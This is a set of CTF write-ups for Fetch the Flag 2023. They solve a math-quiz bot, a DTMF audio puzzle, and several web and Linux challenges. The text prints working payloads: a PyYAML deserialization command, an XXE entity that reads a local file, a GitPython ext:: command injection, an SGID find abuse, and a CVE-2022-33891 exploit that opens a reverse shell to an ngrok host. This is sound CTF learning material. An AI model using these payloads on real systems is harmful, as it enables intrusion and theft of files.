Fetch the Flag CTF 2023

Here are my writeups for Fetch the Flag CTF 2023. The event took place from Fri, 27 Oct. 2023 09:00 Eastern Standard Time (EST) until Sat, 28 Oct. 2023 09:00 EST.

Fetch The Flag 2023 Quick Maths Writeup

This is a writeup for the Fetch The Flag 2023 Quick Maths challenge.

Challenge notes

To try and get better grades in math, I made a program that gave me timed quizzes. Funny thing is that as I got better at the questions in this test, I got worse grades on my math tests.

NOTE: Float answers are rounded to 1 decimal points.

NOTE: And here’s another twist… the answers to division questions depend on integer division or double division. I.e., 3/5 = 0 3/5.0 = .6

Press the Start button in the top-right to begin this challenge. Connect with:

nc challenge.ctf.games 32237

Connecting to the challenge server

Using the command supplied in the challenge notes, I use nc to connect to the challenge server. The server prompts you to solve math challenges and times you out when you don’t answer fast enough.

Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.

Note to self: Round all answers to 1 decimal point, where applicable.

Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 97.2 / 33.7?
Too Slow!!!
Good bye :(

I decided to use this as an opportunity to test out the nclib library in Python. You can use nclib to automate interacting with telnet-like interfaces over the network.

The protocol

The challenge server writes 6 lines of text and asks the user to enter y. After that, the server prompts you to solve a long chain of arithmetic questions.

Here is one more transcript from the server:

Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.

Note to self: Round all answers to 1 decimal point, where applicable.

Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 3 / 5?
What is 3 / 5.0?
Too Slow!!!
Good bye :(

As noted in the challenge notes, the server cares about integer and float division.

The solution script

I first define a few test cases in pytest to make sure that I get the integer versus float division right:

from calculator import calculate


def test_all() -> None:
    assert calculate("What is 3 / 5?") == 0
    assert calculate("What is 3 / 5.0?") == 0.6
    assert calculate("What is 76.0 * 36.1?") == 2743.6
    assert calculate("Correct!\nWhat is 76.0 * 36.1?") == 2743.6

This is the calculate function in Python:

import re, operator

FORMULA_RE = re.compile(
    r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
    re.MULTILINE,
)
OPERATORS = {
    "*": operator.mul,
    "/": operator.truediv,
    "+": operator.add,
    "-": operator.sub,
}

def calculate(formula: str) -> Union[int, float]:
    """Evaluate a formula."""
    match = FORMULA_RE.match(formula)
    assert match is not None, f"Couldn't match {formula}"
    left, op_chr, right = match.group(1, 2, 3)
    floats = '.' in left or '.' in right
    op = OPERATORS[op_chr]
    if floats:
        return round(op(float(left), float(right)), 1)
    return int(op(int(left), int(right)))

The calculate function performs the following tasks:

  1. Use a regular expression to parse the math formula from the server’s question.
  2. Pick the right operator from a dictionary called OPERATORS
  3. Determine if the answer is expected to be a floating point number or integer.
  4. If a floating point number is required, run the calculation and return the result rounded to 1 decimal point
  5. If an integer is required, round the result and return it.

Here’s the full script that solved the challenge:

#!/usr/bin/env python3
import operator
import re
from typing import Union

import nclib

HOST = "challenge.ctf.games", 32237

FORMULA_RE = re.compile(
    r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
    re.MULTILINE,
)
OPERATORS = {
    "*": operator.mul,
    "/": operator.truediv,
    "+": operator.add,
    "-": operator.sub,
}

def calculate(formula: str) -> Union[int, float]:
    """Evaluate a formula."""
    match = FORMULA_RE.match(formula)
    assert match is not None, f"Couldn't match {formula}"
    left, op_chr, right = match.group(1, 2, 3)
    floats = '.' in left or '.' in right
    op = OPERATORS[op_chr]
    if floats:
        return round(op(float(left), float(right)), 1)
    return int(op(int(left), int(right)))

def main():
    nc = nclib.Netcat(HOST)
    print(nc.recv_until("(Y/n): ").decode())
    nc.send_line("y")
    print(nc.recv_until("Awesome, good luck!\n").decode())
    while True:
        line = nc.recv_until("? ").decode()
        print("Next question:", line)
        line = line.strip()
        result = calculate(line)
        print("Calculated the result:", result, "-- sending now")
        nc.send_line(str(result))


if __name__ == "__main__":
    main()

Fetch The Flag 2023 YSON Writeup

This is a writeup for the Fetch The Flag 2023 YSON challenge.

Challenge notes

Introducing YSON! Need to transform your YAML code into JSON? We’ve got you covered!

Find the flag.txt file in the root of the filesystem.

Press the Start button on the top-right to begin this challenge. Connect with:

http://challenge.ctf.games:30944

Nmap

I use Nmap to fingerprint the HTTP server:

# We don't want to ping it, and just look at the challenge port
nmap \
    -Pn \
    -p30944 \
    --script=+http-title.nse \
    --script=+http-server-header.nse \
    challenge.ctf.games

Nmap prints the following:

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:33 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com

PORT      STATE SERVICE
30944/tcp open  unknown
|_http-server-header: Werkzeug/3.0.1 Python/3.11.6
|_http-title: YSON: Convert YAML to JSON

Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

This means I must look for Python specific YAML vulnerabilities. I refer to the HackTricks page on Python YAML serialization vulnerabilities.

The site

The YSON site converts YAML to JSON, as advertised. Here’s a sample YAML input:

name: John Doe
age: 30
is_student: false
address:
  street: 123 Elm St
  city: Springfield
  zip: 12345
skills:
  - Python
  - JavaScript
  - SQL

YSON returns the following JSON response:

{
  "name": "John Doe",
  "age": 30,
  "is_student": false,
  "address": {
    "street": "123 Elm St",
    "city": "Springfield",
    "zip": 12345
  },
  "skills": ["Python", "JavaScript", "SQL"]
}

The following shows a curl and jq invocation to test the YSON API from the command line:

curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input@example_input.yaml" |
    jq "., (.data | fromjson)"

This prints the following:

{
  "data": "{\n    \"name\": \"John Doe\",\n    \"age\": 30,\n    \"is_student\": false,\n    \"address\": {\n        \"street\": \"123 Elm St\",\n        \"city\": \"Springfield\",\n        \"zip\": 12345\n    },\n    \"skills\": [\n        \"Python\",\n        \"JavaScript\",\n        \"SQL\"\n    ]\n}",
  "status": "success"
}

Here are the contents of the data property, parsed as JSON:

{
  "name": "John Doe",
  "age": 30,
  "is_student": false,
  "address": {
    "street": "123 Elm St",
    "city": "Springfield",
    "zip": 12345
  },
  "skills": ["Python", "JavaScript", "SQL"]
}

Exploit

I attempt to use the Vulnerable .load("<content>") without Loader method from the HackTricks page.

I test whether the YSON API is vulnerable with the following command:

set -l bad_input '
!!python/object/apply:builtins.range
- 1
- 10
- 1
'
curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input=$bad_input" |
    jq "., (.data | fromjson)"

The YSON API returns a Python range() object. This tells me that the API is vulnerable. This YAML deserialization vulnerability lets me run arbitrary external commands using subprocess.check_output.

I proceed to print out the contents of /flag.txt with the following YAML payload:

set -l bad_input '!!python/object/apply:subprocess.check_output
args: [["cat", "/flag.txt"]]
kwds: {"encoding": "utf-8"}
'
curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input=$bad_input" |
    jq "., (.data | fromjson)"

This prints out the following flag:

flag{6766066cea624a90b1ae5b47a4a320d9}

Fetch The Flag 2023 Sparky Writeup

This is a writeup for the Fetch The Flag 2023 Sparky challenge.

Challenge notes

Alright sparky, here’s another web application test for you. We’re running this in prod but we’ve given you a separate dev instance to test. No source code, no inside info. Just pwn and profit and tell us how you did it!

Press the Start button on the top-right to begin this challenge.

Connect with:

http://challenge.ctf.games:31904/

Nmap

I use Nmap to fingerprint the server:

nmap \
    -Pn \
    -p31904 \
    --script=+http-title.nse \
    --script=+http-server-header.nse \
    challenge.ctf.games

Nmap prints the following:

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 17:24 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com

PORT      STATE SERVICE
31904/tcp open  unknown
|_http-title: Spark Master at spark://0.0.0.0:7077
|_http-server-header: Jetty(9.4.36.v20210114)

Nmap done: 1 IP address (1 host up) scanned in 5.47 seconds

If it runs Jetty, it runs Java. What’s Jetty anyway?

Jetty provides a web server and servlet container, additionally providing support for HTTP/2, WebSocket, OSGi, JMX, JNDI, JAAS and many other integrations. […] 1

Furthermore, Spark Master in the HTTP title means that this runs Apache Spark:

Apache Spark - A Unified engine for large-scale data analytics

Apache Spark is a unified analytics engine for large-scale data processing. It provides high-level APIs in Java, Scala, Python and R, and an optimized engine that supports general execution graphs. […]2

When you visit the site on port 7077, you can see a user interface for observing spark workers and applications:

Spark Master (often written standalone Master) is the resource manager for the Spark Standalone cluster to allocate the resources (CPU, Memory, Disk etc…) among the Spark applications. The resources are used to run the Spark Driver and Executors. 3

Web interface

The machine runs Spark version 3.3.1. The Spark maintainers released version 3.3.1 on 2022-10-254.

This version of Apache Spark is vulnerable to an access control bypass with CVE-2022-338915:

The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name.5

Exploit

I’m a script kiddie, so I find an RCE proof of concept exploit for CVE-2022-33891.

I use ngrok and nc to listen for connections. My local port is 5612 and the ngrok remote port is 12884. Here, I launch nc:

nc -v -l 5612

This is how the exploit gives you a reverse shell using the web user interface.

poetry run ./poc.py \
    --url http://challenge.ctf.games \
    --port 31904 \
    --revshell \
    --listeninghost 0.tcp.jp.ngrok.io \
    --listeningport 12884
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 12884
[*] When your listener is set up, press enter!
[X] ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

I search for the flag in the nc listener:

sh: 0: can't access tty; job control turned off
$ cat /flag.txt
flag{1cf5f0f135914e5154a6fe20085b0b7a}
$ ⏎

  1. https://eclipse.dev/jetty/ “The Eclipse Jetty Project” ↩︎

  2. https://spark.apache.org/docs/latest/index.html “Apache Spark - A Unified engine for large-scale data analytics” ↩︎

  3. https://stackoverflow.com/a/43944575 “Role of master in Spark standalone cluster” ↩︎

  4. https://spark.apache.org/news/index.html “Spark News” ↩︎

  5. https://nvd.nist.gov/vuln/detail/cve-2022-33891 CVE-2022-33891 ↩︎ ↩︎

Fetch The Flag 2023 GetHub Writeup

This is a writeup for the Fetch The Flag 2023 GetHub challenge.

The challenge comes with a source code bundle. The following code in src/app.py looks exploitable:

# src/app.py
from git import Repo

# […]

@app.route('/clone', methods = ['POST', 'GET'])
def clone():
    if request.method == 'POST':
        new_repo = request.form['repo']
        new_name = f'repositories/{new_repo.split("/")[-1].split(".")[0]}'
        print("new_name", new_name)
        try:
            Repo.clone_from(
                new_repo,
                new_name,
                multi_options=["-c protocol.ext.allow=always"],
            )
        except Exception as e:
            print(e)
            return render_template('clone.html')
        return render_template('clone.html')
    else:
        return render_template('clone.html')

Certain versions of the Python package GitPython are vulnerable to a remote code execution vulnerability:

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. 1

There’s proof of concept payload2 for CVE-2022-244391:

from git import Repo
r = Repo.init('', bare=True)
r.clone_from(
    'ext::sh -c touch% /tmp/pwned',
    'tmp',
    multi_options=["-c protocol.ext.allow=always"],
)

The challenge server stores the flag at /home/challenge/gethub/flag.txt.

Here’s the winning payload that you can pass to the /clone endpoint:

ext::sh -c mkdir% /home/challenge/gethub/repositories/$(cat% /home/challenge/gethub/flag.txt)

  1. https://www.cve.org/CVERecord?id=CVE-2022-24439 “All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command.” ↩︎ ↩︎

  2. https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858 “Remote Code Execution (RCE) Affecting gitpython package, versions [0,3.1.30)” ↩︎

Fetch The Flag 2023 Finders Keepers

This is a writeup for the Fetch The Flag 2023 Finders Keepers challenge.

Challenge notes

Patch found a flag! He stored it in his home directory… should be able to keep it?

Solution

This challenge reminded me a lot of the OverTheWire Bandit wargame.

After gaining foothold on a Linux machine, one of the first things you typically do is look for misconfigured services, applications, and exposed secrets.

On this machine, the /usr/bin/find command has an active set group id bit (SGID.) See the s bit in the group part of Access: (2755/-rwxr-sr-x) here:

user@finders-keepers-7688f55750bdad7c-57f4c85fbf-7m6c6:~$ stat /usr/bin/find
  File: /usr/bin/find
  Size: 282088          Blocks: 552        IO Block: 4096   regular file
Device: ffh/255d        Inode: 653095      Links: 1
Access: (2755/-rwxr-sr-x) ...
                    ^
                    set group id bit

... Uid: (    0/    root)   Gid: ( 1001/   patch)
                            ^
                            Set to this group id
Access: 2022-03-23 13:52:12.000000000 +0000
Modify: 2022-03-23 13:52:12.000000000 +0000
Change: 2023-10-27 13:54:12.022668824 +0000
 Birth: 2023-10-27 13:54:12.017668516 +0000

This means that when running /usr/bin/find, you are part of the patch group. It just so happens that the user patch stores a secret file in their home directory. The patch group can access this file as well.

I use the /usr/bin/find command together with cat and search for files that belong to patch. Here’s the flag, among other things that find prints:

    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi
flag{e4bd38e78379a5a0b29f047b91598add}
[...]

Fetch The Flag 2023 Beep64 Writeup

This is a writeup for the Fetch The Flag 2023 Beep64 challenge.

Challenge notes

Every CTF needs a base64 challenge… right?

Download the file(s) below.

Challenge archive

The archive chall.zip contains one file sine.wav. Run file on the sine.wav to see what this file contains:

sine.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 8 bit, mono 8000 Hz

Here’s what the file output means:

When you listen to the file sine.wav, you can hear a long series of DTMF1 sounds.

Decoding the signal

You can decode the DTMF signals in sine.wav using sox 2 and multimon-ng3.

Here’s the full command that decodes the contents of sine.wav:

sox \
    -V3 \
    --volume 0.8 \
    sine.wav \
    --type raw \
    --encoding signed-integer \
    --bits 16 \
    --rate 22050 \
    - |
    multimon-ng -a DTMF - |
    tail -n+2 |
    cut -d' ' -f2 |
    tr -d '\n' |
    sed -E "s/\*/\n*\n/g" > out.txt

This prints a long list of characters into the file out.txt. Reviewing the out.txt file shows that it contains sequences of 1-4 numbers followed by a * symbol.

9999
*
33
*
777
*
666
*
7777
*
7
*
2
*
222
*
33
*
666
*
66
*
33
*
[… rest omitted …]

Telephone keypad

This resembles letters written using a numeric keypad like on telephones. Here’s a mapping of the numeric keys and their corresponding letters:

2,A
22,B
222,C
3,D
33,E
333,F
4,G
44,H
444,I
5,J
55,K
555,L
6,M
66,N
666,O
7,P
77,Q
777,R
7777,S
8,T
88,U
888,V
9,W
99,X
999,Y
9999,Z

You can then skip the * characters and use this mapping to decode the contents of out.txt.

THEFLAGISZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPAC
EONESPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEO
NESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZ
EROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACE
ZEROZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEONEZEROSPACEONES
PACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEONEZEROSPACEONESPACEONESPACEONESPA
CEZEROSPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPAC
EONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZE
ROSPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEO
NESPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEO
NESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZ
EROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEONEZEROSP
ACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROS
PACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZERO
SPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONES
PACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEONEZEROSPACEO
NESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZ
EROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACE
ZEROSPACEONESPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACE
ONEZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESP
ACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEZEROSPACEONESPA
CEONESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEONESPAC
EONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROS
PACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZER
OSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZE
ROSPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACE
ZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSP
ACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONESPACEZEROZEROSPACEONESPACEONESP
ACEZEROSPACEONESPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONES
PACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESP
ACEZEROZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONEZEROSPACE
ONESPACEONESPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACE
ZEROSPACEONESPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACE
ONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEO
NEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROZEROSPACEONESP
ACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROS
PACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONE
SPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEONEZE
ROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEONEZEROSPACEONESPACEZER
OSPACEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEZEROSPACEONESPACEONESPACEZ
EROSPACEZEROSPACEZEROSPACEZEROZEROSPACEZEROSPACEONESPACEONESPACEONESPACEONESPACE
ZEROSPACEONE

That already looks like binary. Store the contents into another file called letters.txt. Use sed to rewrite the letters to binary like so:

cat letters.txt |
    sed 's/THEFLAGIS//' |
    sed 's/ZEROZERO/0\n0/g' |
    sed 's/ONEZERO/1\n0/g' |
    sed 's/ZERO/0/g' |
    sed 's/ONE/1/g' |
    sed 's/SPACE//g' > binary.txt

Binary

The binary.txt file now contains rows with patterns of 8 ones and zeros. This suggests that these are ASCII values in binary.

01011010
01101101
01111000
01101000
01011010
00110011
01110011
01110111

Here’s how you can use Python to decode these binary ASCII VALUES:

python3 -c "
import sys
print(''.join(
  chr(int(c, 2)) for c in sys.stdin.read().splitlines()
))
" < binary.txt | base64 -D

Here’s the flag:

flag{0421a964add97ff041431e2418e64508}

  1. https://en.wikipedia.org/wiki/DTMF_signaling “DTMF signaling” ↩︎

  2. https://en.wikipedia.org/wiki/SoX “Sound eXchange (SoX) is a cross-platform audio editing software.” ↩︎

  3. https://github.com/EliasOenal/multimon-ng “multimon-ng: digital radio transmission decoder” ↩︎

Fetch The Flag 2023 Bedsheets Writeup

This is a writeup for the Fetch The Flag 2023 Bedsheets challenge.

Challenge notes

Buying new bed sheets is always a hassle, so I made a new website to make it easier.

Hint: Flag is at /home/challenge/flag.txt

Psst… Snyk can help solve this challenge! Try it out!

Press the Start button in the top-right to begin this challenge.
Connect with:

http://challenge.ctf.games:30814

Web app

The Python module at src/app.py contains a Flask web app. The app has the following endpoints:

  1. Index at /
  2. Error page at /error
  3. Create .xlsx spreadsheet files at /createSheets.
  4. List created spreadsheet files at /finishedSheets.
  5. Download individual spreadsheet files at /finsihedSheets/<sheetname>.

The web app uses the xml2xlsx Python package to convert XML documents to .xlsx spreadsheets.

The goal is to use this web app to steal the flag at /home/challenge/flag.txt.

Vulnerability

The way the app converts XML to XLSX is vulnerable to XML external entity inclusion. 1. In the frontend, you can submit an XML body that the app creates according to this template in JavaScript:

<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>${bedSize}</cell></row>
<row><cell>Color</cell><cell>${color}</cell></row>
<row><cell>Thread Count</cell><cell>${threadCount}</cell></row>
<row><cell>Quantity</cell><cell>${quantity}</cell></row>
</sheet>

You’re not limited to sending data according to this specific template.

Exploit code

Here’s how to ask the web app to include the contents of flag.txt in the XML document:

echo '<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>' |
curl 'http://challenge.ctf.games:31249/createSheets' \
    -X POST \
    -H 'Content-Type: application/xml' \
    --data-binary @-

Internally, src/app.py concatenates this to the following XML document:

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>

This in turn evaluates to an XML document and resulting spreadsheet that includes the contents of the flag.txt file in the first row under Bed Size. If it works correctly, you should see the following output:

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/finishedSheets">/finishedSheets</a>. If not, click the link.

Fetch the sheet that you’ve just created. The first row contains the flag. Here’s how you can fetch the spreadsheet using curl:

curl http://challenge.ctf.games:31249/finishedSheets/
# Find your spreadsheet's name and download it:
curl http://challenge.ctf.games:31249/finishedSheets/XXXXXXXXXXXXXXXXXXX.xlsx